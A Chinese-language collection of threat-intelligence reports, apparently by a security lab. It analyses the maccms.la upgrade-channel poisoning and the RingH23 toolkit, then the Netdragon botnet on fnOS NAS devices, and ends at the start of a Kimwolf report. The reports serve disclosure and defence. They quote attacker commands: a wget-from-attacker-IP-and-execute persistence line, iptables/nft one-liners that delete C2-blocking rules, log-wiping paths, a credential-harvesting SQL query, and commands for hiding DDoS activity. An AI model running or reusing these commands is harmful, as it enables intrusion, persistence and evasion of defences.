然而，正是这样一个被广泛使用的项目，却已卷入一场供应链安全事件。我们已掌握明确证据表明，maccms.la 的官方升级通道被用于下发恶意 PHP 后门代码，该后门在服务器侧执行后，会进一步植入恶意 JavaScript 脚本，对前端页面实施劫持与流量操控。恶意脚本的技术特征与 FUNNULL团伙在多起历史攻击活动中使用的手法高度一致，印证了业内近期流传的判断：maccms.la 已实际被 FUNNULL 团伙控制，或已被其收购并作为攻击基础设施的一部分持续运营。

0x1: 升级通道投毒

maccms github 源码application\admin\view_new\index\index.html中有一段ajax代码将maccms，php，thinkphp的版本信息上报给远程服务器(update.maccms.la)，检查是否需要升级。

一切看似正常，但是在实际中我们发现MACCMS完成安装后第一次登录管理后台时，远程服务器会发下发恶意JS代码，用于窃取敏感数据，下载PHP恶意载荷。

post：向远程服务器上报Cookie，管理后台地址等敏感信息
iframe：通过的隐蔽iframe触发MACCMS的下载机制，拉取恶意载荷

当网页中的iframe加载其src属性指向的地址ADMIN_PATH/admin/update/step1.html?file=laupdc00ecc82ab4b6d060da64d886e97b2c4时，浏览器会向该URL发起请求。该请求经由后端路由解析，最终会调用位于application/admin/controller/Update.php中的step1()函数。该函数的核心功能是：接收file参数，为其追加.zip扩展名并结合时间戳生成一个完整的资源标识，随后程序会基于这个标识向指定的远程服务器发起请求，尝试获取对应的资源文件。

从实际流量分析可见，laupdc00ecc82ab4b6d060da64d886e97b2c4.zip这一资源名可拆分为"laupd"前缀和一段32位MD5字符串，构成典型的伪装命名。服务器响应头中Date与Last-Modified时间戳完全一致，且设置了仅3分钟的有效期（max-age=180），表明该文件并非预先存储，而是针对请求即时动态生成的恶意payload。这种短时效设计使文件在下载窗口过后即无法访问（返回"access denied"），有效规避了事后取证。

0x2: PHP恶意载荷

laupdc00ecc82ab4b6d060da64d886e97b2c4.zip在解压后会释放 application/extra/active.php 文件。此外，我们在野还发现了另一个恶意 PHP 载荷 addons.php。

这两个PHP恶意载荷都没有使用代码混淆技术，分析难度较低。它们的核心功能都是向网站植入恶意JavaScript代码，但采用了不同的攻击策略实现网页篡改，主要区别在于注入方式和目标对象：

addons.php采用动态注入方式，在页面渲染过程中将恶意JS代码插入到HTML文件的标签之前。
active.php 则采用动静结合的双重注入策略：一方面动态地将恶意代码插入到HTML文件的标签之前；另一方面还会静态地修改系统JS模板文件，直接向文件尾部写入恶意代码。

以active.php为例，该恶意载荷在ThinkPHP框架中注册了一个view_filter钩子，使得所有需要渲染的页面在加载时都会自动触发其感染流程，实现了对网站访问流量的全面监控和实时攻击。

为了降低的暴露的风险，它还实现了一个精密的访问条件筛选机制：只有当用户使用手机设备、通过外部链接访问网站前台页面、且为非Ajax请求时才会触发恶意代码，同时通过会话控制确保每个用户最多每10小时只被攻击一次。

当条件满足时，进行对HTML和JS篡改的流程。先看对HTML的修改，它的逻辑核心其实就是用str_replace函数将网页中的$template_marker替换为$template_token.$template_marker。

$template_token和$template_marker 它们使用8进制编码，gzip压缩，没有PHP环境的读者可以使用在线的PHP Sandbox查看它们的内容。template_token是恶意JS代码，相信读者一定会觉得眼熟，它正是前面章节已分析过的JS Loader代码，而template_marker正是标签。

再来看对JS的修改，它的核心逻辑是使用file_put_contents函数对原始JS文件进行覆写，恶意JS代码以及/*system_optimization_signature*/格式的标签将被添加到JS文件尾部，system_optimization_signature是JS文件是否被感染的标识，它是恶意JS代码的MD5值的前12字节，即138ae887806f。

在Google搜索138ae887806f，可以看到不少用户讨论这一感染情况。用户的清理工作往往停留在清除已被感染的JavaScript文件这一表面症状。而更深层的PHP恶意载荷以及，作为持续攻击源的maccms.la官方投毒通道，并未被发现和根除，这导致了网站不断被重新植入恶意代码，陷入“清理-再感染”的循环。

攻击套件RingH23投毒技术细节

0x1: infect_init

infection_init组件的基本信息如下所示，它是一个Golang语言实现的感染器，使用标准UPX加壳。

infect_init必须在root权限下运行，至少需要提供session_token，service_url，group三个参数，其中service_url默认值为service.client.110[.]nz。

首先，它会和server_url指定的服务器依次应验token，group是否有效。两者都使用GET方法，User-Agent为硬编码的Azure。

token校验请求，使用的uri为/api/session/verify，参数指定的token保存在"X-Session"字段中。

group校验请求，使用的uri为/api/client_group/"group"，如下图流量中的group为 j6。

token,group通过验证后，遍历/proc目录，查找edge-admin进程。再通过该进程配置文件api_db.yaml中获取数据库的账号和密码，并使用以下sql语句，查询数据库中边缘节点及其登录凭证。

SELECT n.id, n.name, n.clusterId, l.type, l.params
FROM edgeNodes AS n LEFT JOIN edgeNodeLogins AS l
ON n.id=l.nodeId WHERE n.state=1

当成功获得节点的登录凭后，执行Main_SSHExec函数，通过SSH协议登录到边缘节点，下载下一阶段Payload。

Main_SSHExec的核心逻辑就是执行以下脚本，在边缘节点上部署下一阶段 download_init组件，其中DOWNLOAD_URL为 download.zhw[.]sh/EMrsVQj9VQ/init。

0x2: download_init

download_init组件的基本信息如下所示，它是一个Golang语言实现的下载器，使用标准UPX加壳。它主要目的是下载下一阶段的恶意载荷：后门木马，Rootkit，Udev持久化规则，以及Nginx模块等。

和infect_init一样，download_init也必须在root权限下运行，除service_token, service_url, group3个参数之外，还必须指定 run mode，例如用 “install” 表示安装，uninstall表示卸载等。

和infect_init不同的是，download_init在group参数通过验证后，会从C2返回的JSON数据中提取hash字段，供后续供register请求使用。

然后download_init尝试从被侵入设备中提醒Nginx服务器的相关信息，包括版本号，以及ngx_compat，ngx_dav，ngx_threads，ngx_real_ip等编译配置参数，并以此构造生成register请求，用于获得下一阶段载荷的下载地址。该请求使用的URI格式为/api/register/{hash}。

可以看出C2返回的JSON数据包含各种载荷的下载地址，download_init 从中提取 hash 字段，并以此完成整个感染流程的闭环。具体步骤包括：首先，在 /var/adm 目录下创建以该 hash 命名的文件夹，用于存储下载的恶意载荷；接着，将 udev_rules 文件植入系统规则目录 /etc/udev/rules.d，命名为 99-{hash}.rules，以实现系统重启后的持久化自启动；随后，将kernel.so重命名为libutilkeybd.so，并将其路径写到 /etc/ld.so.preload，通过系统预加载机制来隐藏恶意进程的活动痕迹；最后，启动后门模块 office_bin，维持对受感染设备的持续控制，并重启 Nginx 进程以动态加载 module.so 模块，将特定条件的访问流量劫持至色情或博彩网站，完成所有的载荷部署。

0x3: office_bin

office_bin是一个配置灵法，高度模块化/插件化，使用AES加密网络通信的后门木马。基于样本进行时会输出信息大量使用redis2s，我们将它命名为badredis2s，它由Dropper,Client,Plugin 3大部分组成，因为没有stripped的缘故，在逆向分析上并没有难度，功能一目了然。

先说Dropper，它的主要目的是加载内嵌的ELF，执行其导出函数kernel_module_entry，参数为config_base64，它指向的加密的配置信息。

再来看Client，它由上述Dropper释放，核心逻辑设计简洁而高效：首先对加密配置进行解密，从中提取C2服务器地址、任务执行时间策略及通信密钥等关键参数。当系统时间符合预设的执行策略时，客户端即尝试与C2服务器建立通信通道，等待接收并执行远程指令。值得注意的是，该恶意软件在C2获取，网络传输方面都采用了两层冗余机制以增强健壮性：

（1）C2 获取机制

优先从Microsoft Aure Blob存储服务动态获取最新的C2地址
若云端获取失败，则自动回退至内置的硬编码C2地址

（2）网络传输机制

首选通过WebSocket over TLS（wss）加密通道进行通信
当wss连接因防火墙阻断或网络限制而失败时，切换至DNS隧道技术作为备选传输方案

下文将从配置解密，C2获取，时间校验，网络通信等方面，剖析Client的技术实现。

① 解密配置

配置信息使用了简单的"xor + base64"的保护方式，base64使用原生的字母表，xor 密钥为0x23。

解密后的Config中涵盖C2，时间规则，AES密钥，初始向量等信息。

② C2获取

Config的前250字节为主C2的云端配置地址，接着的278字节为备用C2，主C2需要通过云端配置动态获得，而备用C2则是可以直接使用。

访问主C2的云端配置地址，会看到一个IIS LOGO页面，看似一切正常，其实玄机隐藏在网页源码 RequestID:/#$*SRUNT0pNVltHSlBXUUwNTUZXGRcXEA==*#$/部分，Client通过正则表达式\\s*/#\\$\\*.*?\\*#\\$/提取SRUNT0pNVltHSlBXUUwNTUZXGRcXEA==，它其实是一个加密的C2配置，通过base64解码，单字节 xor 0x23即可得到C2 j6.linuxdistro.net:443，此处和备用C2是一致的。

③ 时间窗口校验

Client通过 time_for_connect 函数来决定是否允许在当下时间执行。其机制是从配置数据的固定偏移量（小时列表起始于0x210字节，分钟列表起始于0x270字节）读取时间白名单，并与当前系统时间进行匹配。不过，根据解密后的配置显示，该策略当前设置为全天候允许，即小时（0-23）和分钟（0-59）均无限制。

④ 网络通信

Client在通信层面采用 “WSS 优先、DNS Tunnel 兜底” 的双通道策略，并通过精细的时间控制与失败计数机制，在保证 C2 可达性的同时，尽量维持与正常网络流量一致的行为特征。当高隐蔽性的 WSS 通信受阻时，样本会在限定时间内切换至 DNS Tunnel，以维持控制通道的连续性，随后再自动回退至主通信方式。

对通信数据的逆向分析表明，WSS 通道内的应用层数据遵循“压缩 → 加密”的处理流程，具体为 zlib 压缩 + AES-128-CBC 加密。AES 密钥从配置结构偏移 0x360 处读取（16 字节），对应的 IV 位于 0x370 偏移处（16 字节）。

而 DNS Tunnel 的实现基于开源工具 iodine。iodine 是一种隧道工具，通过将 IPv4 数据封装并传输于 DNS 请求与响应中，从而在常规互联网访问被防火墙限制、但仍允许 DNS 查询的网络环境下建立通信通道。与 iodine 相关的运行参数存储于样本配置数据偏移 0x3E5 处，其中可解析出使用的 Name Server 为 8.8.8.8，对应的 Top Domain 为 nsj6.linuxdistro.net。

Client 在接收到来自 C2 的响应数据后，首先对数据进行 AES 解密，随后执行 zlib 解压，最终将解析后的明文数据传递至 kernel_on_message 函数，并根据不同的指令号执行相应的功能逻辑。

接下来以虚拟机产生的实际流量来说明Client网络通信的报文格式，wss的流量经中间人劫持后如下所示：

先看C2向Client下发的第一条指令，使用AES CBC解密，再解压，即可得到明文01 01 00 00 00 00 04 00 00 00 01 00 00 00。Client的网络报文遵循 “1字节 flag + 4字节 cmd count + 1字节 type +4 字节的 cmd1 length + 4 字节 cmd1” 这一格式，明文指令解析可知，这是0x00000001指令，即要求上报设备信息。对解密流程感兴趣的读者，可以参考原文附录中的CyberChef。

读者如果尝试用我们提供的CyberChef去解密C2下发的第二条指令，会发现解密失败。原因是不同于一般的AES CBC模式，Badredis2s使用是所谓的AES-CBC with chained IV，即每条消息的IV是前一条消息的最后一个密文块。因此要想解密第二条指令，IV需要设置为第一指令的最后16字节 87 3d 0d 46 1c 94 9d 46 26 55 5c 2a 9a 72 1c aa。

最后看一下Plugin，Badredis2s中0x12指令和插件操作相关。我们在指令跟踪系统中实现了Badredis2s的网络协议后，成功跟踪到0x12号指令，捕获shell, filemanager俩个插件。每个插件都有自己专属的Request-URI：shell使用的是/index/sl.html；filemanager使用的是/index/fm.html。

在分析filemanager插件时，又发现了以下3个新插件。稍加观察，不难发现插件名与路径存在一定的关联，我们尝试对路径进行爆破，确实发现了一个新的URI /index/ao.html，可惜没能反推出它代表的插件名，未能捕获该插件。

关于插件的功能，其名称本身便已体现核心用途：例如 shell 用于执行 Shell 命令，filemanager 负责文件管理。这种插件体系显著增强了 Badredis2s 的灵活性，攻击者只需下发不同功能的插件，即可轻松实现各类复杂任务。由于这些插件均未经过代码混淆或去符号处理，分析起来并无太大难度，对实现细节感兴趣的读者可自行深入研究，本文不再展开论述。

0x4: module.so

module.so是一个恶意的Nginx过滤模块，我们将它命名为Badnginx2s。Badnginx2s是一种较为罕见的针对Nginx后门木马，其本质是一个Nginx模块，它通过在Web服务器层面植入恶意过滤器，对流出流量进行深度篡改与攻击，主要功能包括：

远程命令执行：后门预留了隐蔽的命令通道，允许远程命令执行
下载劫持：当用户从受感染网站下载特定类型的文件时，木马会暗中替换下载链接
代码注入：向网页注入恶意JavaScript代码，将访问用户重定向至博彩、色情等不良网站，非法获取流量或实施进一步诈骗。
视频插播：向M3U8播放列表文件插入时长为5秒的恶意媒体片段条目，用于流媒体内容劫持或广告注入
数字资产窃取：攻击者以将自己的收款地址替换网页中的数字货币钱包地址，从而在用户转账时直接截留资金，构成隐蔽的金融盗窃。

Badnginx2s通过注册俩个HTTP过滤器函数：ngx_http_hello_header_filter，ngx_http_hello_body_filter实现上述功能。其中header_filter负责处理 HTTP 响应头阶段，主要完成远程命令执行、策略更新、下载劫持、以及标记需要注入恶意代码的特定网页等核心控制任务；body_filter负责处理 HTTP 响应体阶段，主要用于向页面注入恶意 JavaScript 代码，以及实现钱包地址篡改等客户端侧攻击行为。这种设计使得 Badnginx2s 能够在响应生成的不同阶段灵活执行隐蔽且精准的恶意操作，既能实现服务器端的远程控制，又能完成客户端侧的窃取与欺诈。

① 远程命令执行

攻击者将远程命令隐藏在HTTP请求头的Cookie字段中，以此实现隐蔽通信。其中，comm字段存储加密后的命令，其原始格式为“时间戳$$指令”，例如1768813387$$whoami，该内容先经过密钥0x5A的XOR异或加密，再经Base64编码后传输；sign字段则存储base64编码后的基于P-256椭圆曲线生成的数字签名，Badnginx2s通过公钥校验签名的有效性，确保指令的完整性与来源可信。这种机制使攻击者能够在看似正常的HTTP请求中隐蔽执行远程命令。

② 策略操纵

Badnginx2s 在运行时动态生成劫持配置，包含重定向域名、恶意 JS 载荷地址、白名单网段等策略。为实现对配置的远程实时调控，攻击者通过 Cookie 建立隐蔽管理通道：配置操作指令经加密后存放在 conf 字段，其加密方式与上文 comm 字段相同（XOR+Base64）；数字签名则存放于 sign 字段，仍采用 P-256 椭圆曲线算法进行校验。通过该机制，攻击者可远程隐蔽执行配置的查询和更新，从而灵活实施精准攻击。

以查询当前配置为例，原始命令为get$$，它经上述加密流程处理后，构成Cookie中的conf字段；服务器收到这个请求后，当sign字段中的签名通过校验，就返回当前的配置。攻击者可通过这种方式动态的调整重定向域名，恶意JS载荷地址等内容。

③ 下载劫持

当网络请求 APK、PLIST 或 MOBILECONFIG 这三种特定资源时，Badnginx2s 会实施下载劫持。它通过 https://%s.aqyaqua.com 这一格式动态构造域名，并返回对应的恶意载荷。

值得注意的是，aqyaqua.com 本身仅作为一个流量入口，会将不同资源类型的请求转发至不同的目标地址。目前，只有针对 APK 的载荷处于有效状态。

④ 页面篡改

Badnginx2s通过ngx_http_hello_body_filter函数实现在网页的篡改，涵盖了数字钱包替换，视频插播，恶意JS注入。

数字钱包替换

当网页内容中出现以太坊或波场钱包地址时，将其替换为指定的攻击者地址：例如，将以太坊地址替换为 0xAA3Bd92445a2E1fE38C7693d77259BeD42a144c3，或将波场地址替换为 TCMCY9ccNmQGfUNHTNtCByCof3VdQnip2b。如此一来就在用户完全无感知的情况下实现了对交易的窃取，用户以为的正常转账，却在“神不知鬼不觉”中流入了攻击者的口袋。

视频插播

当网页和HLS直播流相关时，攻击者可篡改M3U8播放列表文件，插入自定义视频流。我们目前已捕获到一次此类攻击行为，攻击者插入了一个时长5秒、名为广告_1.ts的视频流片段。该攻击表面看似仅为广告插播，但其潜在危害远不止于此——攻击者可轻易将插入内容替换为色情、暴力等不良信息，甚至利用目前高度逼真的AI生成技术，伪造政治宣传、虚假新闻或引导性极强的深度伪造视频。这类攻击不仅破坏用户体验，更可能被用于意识形态渗透、社会舆论操纵与公共秩序干扰，属于具备高扩散性、强误导性与社会危害性的新型网络攻击载体。

恶意JS注入

当网页为html类型时，按优先级顺序搜索，，，https://cdnjs[.]jsdclivr[.]com/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css?v=3.7.8.2。

0x5: libutilkeybd.so

libutilkeybd.so是一个基于LD_PRELOAD技术的用户态Rootkit，我们将它命名为Badhide2s，它的核心目标分为两方面：载荷痕迹隐匿于Nginx模块动态植入。

隐匿维度：通过写入/etc/ld.so.preload使自身被加载，实现对ss、netstat、top、htop、ps、ls、lsof等常用工具的过滤，覆盖文件、进程、网络三大维度的痕迹隐藏。此类用户态Rootkit手法在Linux恶意软件中较为常见，Badhide2s并未实现显著的技术创新，但其隐匿的IP地址数量达25个，规模相对较大。
模块植入：通过Hook __libc_start_main——GNU C库的程序入口函数——在进程启动阶段进行检测。当识别到目标进程为Nginx时，动态篡改其启动参数，追加 -g load_module /var/adm/{hash}nginx/module.so ，从而实现恶意模块的隐蔽加载。

值得注意的是，Badhide2s 内置了一个环境变量触发开关机制：当检测到系统中存在环境变量 RING04，且其值为特定哈希串时，该恶意软件的所有隐藏功能将自动关闭。这实际上为应急响应提供了一个快速排查入口，防御方在获取哈希值后，只需执行：export RING04H={hash}即可一键解除所有隐匿，使被隐藏的恶意进程、文件及网络连接完全“显形”。

0x6: udev rule & script

利用udev规则实现持久化，在Linux 威胁中并不常见，目前公开的案例只有俩个：sedexp以及UNC3886。所谓 udev ，指的是 Linux 内核的设备管理系统，负责动态管理 /dev 目录下的设备节点文件，包括创建设备节点、处理热插拔事件以及按需加载驱动程序。udev 规则是其配置文件，用于匹配设备事件（如接入或移除设备）并触发相应操作，它们通常位于 /etc/udev/rules.d/ 或 /lib/udev/rules.d/ 目录下，典型的规则如下所示，由设备匹配条件和对应的执行动作组成。

ACTION=="add", KERNEL=="device", RUN+="/path/to/script"

此次活动会在/etc/udev/ruldes.d目录下增加一个99-{hash}.rules的规则，当任意非本地回环的网络接口（包括物理网卡、虚拟接口）被系统识别时（add 事件），该规则会立即被触发，通过 systemd-run 启动一个受控的临时服务，隐蔽执行指定的脚本/var/adm/{hash}/udev/udev.sh 。

udev.sh脚本就是没有什么特别之处，只是用来启动前文分析过的Badredis2s后门（ring04h_office_bin），以及一个未知的组件（ring04h_agent_bin）。

额外的情报

在download_init中，有一个main_pre的函数，用于清除的痕迹，从函数逻辑来看，这些痕迹与RingH23强相关。在清理目标的数组中包含17个不同的字串，令人惊奇的是其中一些字串，如libcext.so.2，/var/log/cross/auto-colar等明显和Palo Alto Networks 于2025年2月24日披露的autocolor后门相关。

此外，我们发现 /var/log/jroqq 是一个非常独特的字符串，并以此为线索，找到了一个用 Golang 语言实现的后门文件 auto-color。该后门通过文件锁 /var/log/jroqq/auto.l 实现单一实例运行，但后门本身并未包含创建该文件的代码，说明它需要与其他组件协同工作，我们内部将其命名为 V2deck。它的主要功能是执行C2下发的命令并回传结果。样本中一共内嵌了10个C2，使用 XOR + BASE64的方式进行保护，xor key为 poop。

目前跟踪到的指令显示V2deck在收集Nginx,FikkerCDN等进程的信息，和RingH23的目标接近。

ps -ef | grep Fikker | grep -v grep | wc -l
ss -antp | grep nginx |grep ESTAB | awk {'print $5'} | awk -F\: {'print $1'} | sort | uniq | wc -l

尽管目前仅以中等信心将 v2deck 与 RingH23 关联起来，但考虑到该后门样本及其 C2 域名目前的检测率极低，我们决定将相关情报与本文一并发布。

总结

这是目前我们掌握的Funnull黑产新活动的大部分情报。我们建议网络管理员与个人网站所有者立即开展自查工作，并参照以下指引进行处置。

① 针对RingH23

使用ldd命令检查系统命令的依赖加载情况，重点检测是否存在恶意模块/var/adm/{uuid}/kernel/libutilkeybd.so。若发现该模块，则设置环境变量RING04H={uuid} 以禁用rootkit的保护功能，随后按以下路径清理恶意文件：

/etc/ld.preload.conf中与{uuid}有关的部分
/etc/udev/99-{uuid}.rules
/var/adm/{uuid}目录下所有文件

② 针对maccms.la

不建议继续使用maccms.la。如果无法迁移，可使用“grep xxSJRox”查看模板js是否已被注入，“grep gzuncompress”查看php中是否可疑的隐藏载荷，并对以下文件进行处理

删除/application/extra/active.php
删除/application/admin/controller/Update.php
修改/application/admin/view_new/index/index.html中ajax升级部分的域名

黑产活动在利益驱使下往往“野火烧不尽，春风吹又生”，具有非常强的顽固性，必须依靠全行业的协同合作才能有效遏制。我们诚邀安全厂商及相关技术机构与我们建立联系，推动情报共享与联动处置，共同打击网络犯罪，维护网络安全生态。如果您对我们的研究感兴趣，或者了解内幕消息，欢迎通过微信公众号与我们联系。

对IOC感兴趣的读者，请点击下方的阅读原文，我们的官方Blog提供了详尽的IOC情报。

阅读原文

跳转微信打开

针对飞牛 NAS 的僵尸网络Netdragon 快速分析

Thu, 12 Feb 2026 12:27:00 +0800

原创奇安信X实验室 2026-02-12 12:27 云南

背景

近期，飞牛（fnOS）网络附加存储设备（NAS）曝出大规模遭入侵并感染恶意软件的安全事件。攻击者疑似利用飞牛 NAS 系统中尚未公开的安全漏洞，在设备对外暴露相关服务的情况下成功植入恶意程序。通过对已捕获并分析的恶意样本进行研判，我们确认其隶属于 netdragon 恶意软件家族。该家族最早于 2024 年 10 月被我们发现并持续跟踪至今，其核心能力包括 DDoS 攻击与远程命令执行，可将被感染的 NAS 设备纳入僵尸网络，参与大规模分布式拒绝服务攻击活动。

值得注意的是，Netdragon 在其入侵行为逐步暴露后，持续对样本的对抗能力进行升级，通过多层手段削弱防御与清除效果。在网络层面，样本会主动删除系统中用于阻断 C2 通信的 iptables / nft规则，绕过既有封堵措施；同时篡改 hosts 文件，对飞牛 NAS 官方升级域名进行劫持，从而阻断设备获取系统更新和安全补丁。

在持久化方面，Netdragon 同时引入 systemd 服务与内核模块，构建用户态与内核态的双重持久化机制，显著提升样本在设备上的存活能力；而在代码层面，则通过动态密钥加壳等方式增加逆向分析与签名检测的难度。上述多种对抗手段协同作用，使受感染设备难以被彻底清除，显著抬高了防御、溯源与应急响应成本。

受这些对抗行为影响，部分受害设备的系统升级机制被直接破坏，表现为无法正常完成系统升级或安装官方安全补丁)。该问题进一步导致设备长期处于受感染状态，安全风险被持续放大。

受限于当前可获取的数据，我们尚无法完整还原飞牛 NAS 被入侵的具体攻击路径及漏洞细节，相关内容暂不展开讨论。本文将重点围绕恶意样本行为分析、感染规模评估以及 DDoS 攻击活动特征等方面，分享我们阶段性的研究结论。

感染情况分析

经过对样本功能的深入分析，我们确认netdragon会在受害设备上开启一个 http 后门接口，攻击者可通过该接口对被感染设备实施远程访问与控制。

基于该后门的通信特征，并结合 XLAB 全球鹰资产测绘能力进行排查，我们共发现 1000 余个存在感染迹象的 IP 地址。分析结果表明，这些 IP 均对应飞牛设备，目前尚未发现其他类型设备受到影响。

全球鹰资产测绘

此外，从 XLAB 伴随域名数据中也可以进一步佐证上述结论。如下图所示，xd.killaurasleep[.]top 为 netdragon 下载样本所使用的域名，该域名在被动 DNS 记录中与多个飞牛相关域名存在明显的伴随关系，表明被感染设备可能主要集中于飞牛生态。

XLAB伴随域名

感染规模方面，结合XLAB全球鹰资产测绘和我们掌握的C2控制端数据看。netdragon僵尸网络1月底感染的设备可能在1500台左右。

netdragon控制端截图显示在线设备1143台

DDoS攻击分析

我们自 2024 年 10 月起持续监控与 netdragon 相关的 DDoS 攻击活动。分析显示，netdragon 主要通过 Telegram Bot、HTTP API 等渠道接收攻击指令，并据此发起分布式拒绝服务（DDoS）攻击。

监控结果表明，netdragon 的攻击行为不具备明显的定向性，攻击目标分布范围较广，主要涉及中国、美国、新加坡、澳大利亚等地区。受影响对象涵盖信息传输、软件与信息技术服务、制造业，以及公共管理、社会保障和社会组织等多个行业领域。

netdragon攻击事件趋势

另外我们还观察到2月1日夜晚僵尸网络作者向所有BOT发出了一条删除文件指令、删除飞牛NAS设备上的一个私钥文件rsa_private_key.pem。我们不确定删除这个文件的目的是什么，但是删除私钥文件这种操作看着就很危险。

样本分析

通过我们跟踪系统长期监测，已捕获到该恶意家族的多个变种样本。综合分析发现，该家族样本整体采用模块化设计，主要由 Loader 组件和 DDoS 组件两个核心部分构成。其中，Loader 组件负责在受害设备上完成初始加载、环境探测及后续功能模块的投递，而 DDoS 组件则用于执行具体的攻击指令。最新样本在运行过程中展现出多项与 fnOS 环境高度相关的行为特征，包括对系统结构、服务配置及运行环境的针对性适配，表明该恶意家族最新的样本并非泛化传播，而是对 fnOS 设备具有明确的定向攻击意图。

XLAB捕获的部分样本下载链接

Loader组件

该组件主要完成痕迹清理、持久化、阻断更新/恢复的功能

隐藏攻击痕迹

清空日志相关文件目录，隐藏攻击痕迹，目录及文件如下：

/var/log/accountsrv/
/var/log/apps/
/var/log/apt/
/var/log/cloud_storage_dav/
/var/log/openvswitch/
/var/log/postgresql/
/var/log/trim_app_center/
/var/log/trim_license/
/var/log/trim_sac/
/var/log/trim_tfa/
/var/log/trim-connect/
/var/log/trim-sharelink/
/var/log/*.log
/usr/trim/logs/ai_manager/
/usr/trim/logs/*.log
/usr/trim/nginx/logs/
/var/log/secure
/var/log/secure.1
/var/log/secure-*
/var/log/secure.*.gz
/var/log/messages
/var/log/messages.1
/var/log/messages-*
/var/log/messages.*.gz
/run/log/journal/
/var/log/journal/
/var/log/wtmp
/var/log/btmp
/var/log/lastlog
/var/log/audit/audit.log
/var/log/audit/audit.log.*

http后门

监听本地端口57132，实现http后门，可执行任意指令

method: GET
path: /api
arg: log

后门通过解密参数hex字符串得到要执行的指令，若执行成功会返回"OK"

阻止更新与恢复

通过修改hosts劫持飞牛os更新域名到0.0.0.0

apiv2-liveupdate.fnnas.com
update-service.test.teiron-inc.cn

关闭用于系统恢复的服务

pkill -f sysrestore_service
pkill -f backup_service

删除更新/恢复相关文件

/tmp/trim-update
/tmp/appcenter
chattr
liveupdate
backup_local
backup_remote
backup_cloud
backup_service
findmnt

持久化

下载下一阶段组件并持久化

在system_startup.sh后追加

wget http://151.240.*.*/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp

DDoS组件

该组件主要用于DDoS，同时支持任意指令执行和持久化

字符串解密

使用chacha20解密字符串表

key和nonce硬编码在样本中

KEY_HEX:
161E194B111F001D041C0E080B1A110705080D0F060A15010C141F1702031318
NONCE_HEX:
1E002A0000036E0000070106

解密出的字符串表如下：

PWNED FROM NETDRAG
sshd
/ngday
x86
/dev
/tmp
aura.kabot.icu
xd.bmlkda.icu
/etc/hosts
/etc/machine-id
/proc/sys/kernel/random/boot_id

针对几个重点字符串的说明：

成功运行后会输出PWNED FROM NETDRAG
修改进程名为sshd
在本地监听端口(不固定，根据本地地址生成)，当读取到/ngday

时退出，确保单一实例运行

隐藏自身

成功运行后会删除自身文件

通过挂载操作，隐藏或隔离当前和子进程在/proc下的信息

/proc/[PID] -> /tmp

持久化

复制自身到/sbin/gots和/usr/bin/%s

下文中的%s为文件名，botid为样本运行的第一个参数，如果无参数默认为x86

在/etc/systemd/system/%s.service下创建服务

[Unit]\nDescription=AutoStart Service
After=network-online.target
Requires=network-online.target
[Service]
Type=oneshot
ExecStart= /usr/bin/%s botid
RemainAfterExit=yes
Restart=no
[Install]
WantedBy=multi-user.target

通过/etc/rc.d/rc.local和/etc/rc.local实现持久化

# AutoStart
/sbin/gots botid &

C2与网络协议

随机选择硬编码在样本中的45.95.*.*或者字符串表中的aura.kabot[.icu作为C2

从4个端口中随机选择一个连接：3489, 5098, 6608, 7489

明文消息格式:

type Message{
    msgType uint8 
    pLen    uint16 
    padding uint16
    randLen uint16
    randByte []byte
    paylaoad []byte
}

消息类型和所代表的功能

msgType	desc
1	DDoS
2	task done
3	ping
4	handshake
5	botid
6	login
7	pong
8	exec cmd

协议基于ChaCha20算法实现。其核心特征在于双向独立的持久化流状态，配合硬编码密钥进行初始会话协商。

协议交互分为四个关键阶段：

初始上线
Bot 端主动发起，发送明文上线包。

由于随机函数代码bug，导致消息的随机数据长度为0同时上线包无payload，因此上线包hex为

06 00 00 00 00 00 00

密钥协商与 Nonce 分发
由服务端生成随机的单密钥和双Nonce，并采用了二次加密：

Session Key 保护：使用32 字节 Key 进行 XOR 运算后发出。

双 Nonce 机制：服务端下发两个不同的 Nonce：

NonceA：用于 Bot 端发送数据加密（服务端解密）。

NonceB：用于服务端发送数据加密（Bot 端解密）。

握手验证
这是确保 XOR 解密后的 Session Key 正确性的关键步骤：

Bot 验证：Bot 使用解出的Key和NonceA加密handshake消息发往服务端。

服务端验证：服务端解密并比对消息类型，若正确则使用Key和NonceB回复加密响应。

状态同步：Bot解密响应，若成功，则双方建立互信。

确认分组与指令循环
Bot加密发送botid消息，服务端可根据该ID对Bot进行分组

持续通信：进入指令循环阶段，Bot 持续监听服务端下发的加密指令。

隐藏DDoS行为

在接收到DDoS指令时，还会执行以下指令

mv /usr/bin/cat /usr/bin/cat2
pkill -f 'network_service|resmon_service

这意味着在进行DDoS时，无法使用系统的cat命令和网络资源监控服务，以此来隐藏DDoS行为

对抗

发现问题后，官方和部分用户发布了解决方案/脚本，但在1月31日该僵尸网络再次更新组件进行对抗

删除nft和iptable中删除阻止C2连接的规则

nft list ruleset -a | grep C2IP | sed -n 's/.*table \\([^ ]*\\) \\([^ ]*\\).*handle \\([0-9]*\\).*/nft delete rule \\1 \\2 handle \\3/p' | sh
iptables -t filter -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t nat -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t mangle -S | grep C2IP | sed 's/^-A/-D/' | sh
iptables -t raw -S | grep C2IP | sed 's/^-A/-D/' | sh

修改webshell后门的端口为57199
新的内核持久化模块async_memcpys.ko

新的用户态持久化服务/etc/systemd/system/dockers.service
更换新的C2基础设施
使用动态的8字节KEY对样本进行加壳保护

阅读原文

跳转微信打开

史上最疯：独家揭秘感染全球180万Android设备的巨型僵尸网络Kimwolf

Wed, 17 Dec 2025 12:54:00 +0800

原创奇安信X实验室 2025-12-17 12:54 北京

背景介绍

2025年10月24日，安全社区的信任伙伴给我们提供了一个全新的僵尸网络样本，该样本最特别的地方是它的C2域名14emeliaterracewestroxburyma02132[.]su彼时在Cloudflare 域名流行度排名中位列第2，一周之后甚至超越Google，问鼎Cloudflare 域名流行度排名全球第一。毫无疑问这是一个超级大规模的僵尸网络，基于样本运行时输出的信息以及使用wolfssl库，我们将它命名为Kimwolf.

